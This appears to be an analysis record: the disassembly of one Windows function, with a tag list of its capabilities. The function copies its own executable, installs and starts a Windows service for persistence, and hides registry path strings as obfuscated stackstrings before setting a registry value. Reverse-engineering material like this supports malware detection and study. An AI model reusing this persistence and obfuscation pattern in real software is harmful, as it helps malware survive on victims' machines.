Function at 0x409680
Capabilities:
Contain obfuscated stackstrings
Copy file
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411340
push 0x40fd10
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x35c
push ebx
push esi
push edi
mov byte [ebp - 0x328], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x327]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x328]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x334], 0x25
mov byte [ebp - 0x333], 0x73
mov byte [ebp - 0x332], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x334]
push edx
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [ebp - 0x220]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [ebp - 0x328]
push ecx
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0x18
test eax, eax
je 0x40976a
push esi
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x328]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x328]
push eax
mov ecx, dword [0x416a08]
call fcn.00404f60
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x224], esi
xor edi, edi
mov dword [ebp - 0x330], edi
mov dword [ebp - 0x32c], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x32c], ebx
cmp ebx, esi
je 0x409a08
push esi
push esi
push esi
push esi
push esi
lea ecx, [ebp - 0x328]
push ecx
push esi
push 2
push pe_nt_image_headers32
push 0xf01ff
mov edx, dword [ebp + 0x10]
push edx
mov esi, dword [ebp + 0xc]
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
mov dword [ebp - 0x330], edi
push ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x338], str.Stuvwxya_Cdefghijk_Mnopqrs_Uvwxyabc_Efg
lea eax, [ebp - 0x338]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov ecx, dword [ebp - 0x360]
push ecx
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
test edi, edi
jne 0x409843
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x409843
push 0xf01ff
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
mov dword [ebp - 0x330], edi
test edi, edi
je 0x409a08
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x409a08
mov al, 0x53
mov byte [ebp - 0x35c], al
mov byte [ebp - 0x35b], 0x59
mov byte [ebp - 0x35a], al
mov byte [ebp - 0x359], 0x54
mov byte [ebp - 0x358], 0x45
mov byte [ebp - 0x357], 0x4d
mov cl, 0x5c
mov byte [ebp - 0x356], cl
mov dl, 0x43
mov byte [ebp - 0x355], dl
mov byte [ebp - 0x354], 0x75
mov byte [ebp - 0x353], 0x72
mov byte [ebp - 0x352], 0x72
mov bl, 0x65
mov byte [ebp - 0x351], bl
mov byte [ebp - 0x350], 0x6e
mov byte [ebp - 0x34f], 0x74
mov byte [ebp - 0x34e], dl
mov byte [ebp - 0x34d], 0x6f
mov byte [ebp - 0x34c], 0x6e
mov byte [ebp - 0x34b], 0x74
mov byte [ebp - 0x34a], 0x72
mov byte [ebp - 0x349], 0x6f
mov byte [ebp - 0x348], 0x6c
mov byte [ebp - 0x347], al
mov byte [ebp - 0x346], bl
mov byte [ebp - 0x345], 0x74
mov byte [ebp - 0x344], cl
mov byte [ebp - 0x343], al
mov byte [ebp - 0x342], bl
mov byte [ebp - 0x341], 0x72
mov byte [ebp - 0x340], 0x76
mov byte [ebp - 0x33f], 0x69
mov byte [ebp - 0x33e], 0x63
mov byte [ebp - 0x33d], bl
mov byte [ebp - 0x33c], 0x73
mov byte [ebp - 0x33b], cl
mov byte [ebp - 0x33a], 0
lea edx, [ebp - 0x35c]
push edx
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [0x416a08]
call fcn.00404f60
push esi
lea ecx, [ebp - 0x11c]
push ecx
mov ecx, dword [0x416a08]
call fcn.00404ea0
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x11c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov byte [ebp - 0x36c], 0x44
mov byte [ebp - 0x36b], bl
mov byte [ebp - 0x36a], 0x73
mov byte [ebp - 0x369], 0x63
mov byte [ebp - 0x368], 0x72
mov byte [ebp - 0x367], 0x69
mov byte [ebp - 0x366], 0x70
mov byte [ebp - 0x365], 0x74
mov byte [ebp - 0x364], 0x69
mov byte [ebp - 0x363], 0x6f
mov byte [ebp - 0x362], 0x6e
mov byte [ebp - 0x361], 0
mov ebx, dword [ebp + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
push 1
push 0
lea ecx, [ebp - 0x36c]
push ecx
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, dword [ebp - 0x32c]
mov dword [ebp - 4], 0xffffffff
call fcn.00409a31
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret